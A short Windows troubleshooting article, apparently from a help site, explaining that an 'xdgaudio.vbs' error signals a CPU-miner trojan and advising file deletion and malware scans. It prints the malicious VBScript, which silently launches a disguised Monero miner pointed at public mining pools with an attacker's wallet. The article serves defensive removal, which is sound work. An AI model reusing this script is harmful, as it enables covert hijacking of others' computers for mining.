If you’re receiving the following error message related to “xdgaudio.vbs” in your system, then your computer is most likely infected.
Error: The system cannot find the file specified.
When edited with Notepad, the script may contain lines such as below:
Dim WShell Set WShell = CreateObject("WScript.Shell") WShell.Run "wmipvrse.exe -B --donate-level 1 -r 100 --threads 16 --cpu-priority 2 --cpu-affinity 2 -a cryptonight -o stratum+tcp://xmr-eu.dwarfpool.com:8005 -u 42Mn2UkbubgBDSa4sk4p4GHfN1nfxw2nURQ5NQWT9xYnFiLzTYGPawKEWeQ7oG4eqiHbmvt7wqJD4bSyBzQJ7rk75aVKgRv.App -p x -k -o stratum+tcp://mine.moneropool.com:3333 -u 42Mn2UkbubgBDSa4sk4p4GHfN1nfxw2nURQ5NQWT9xYnFiLzTYGPawKEWeQ7oG4eqiHbmvt7wqJD4bSyBzQJ7rk75aVKgRv -p x", 0 Set WShell = Nothing
This certainly looks like a CPU / cryptocurrency Miner trojan which not only slows down your computer, but also can pose a security threat. The script files c:\windows\xdgaudio.vbs and c:\windows\servicecrsssr.vbs should be deleted. That’s not enough. Run a thorough scan using Malwarebytes antimalware, and also scan with the antivirus software you’re using.
For a detailed instructions on removing such Miner Trojan, check out malwaretips.com guide How to remove CPU Miner Trojan from Windows (Virus Help Guide).
About the author
Ramesh Srinivasan founded Winhelponline.com back in 2005. He is passionate about Microsoft technologies and he has been a Microsoft Most Valuable Professional (MVP) for 10 consecutive years from 2003 to 2012.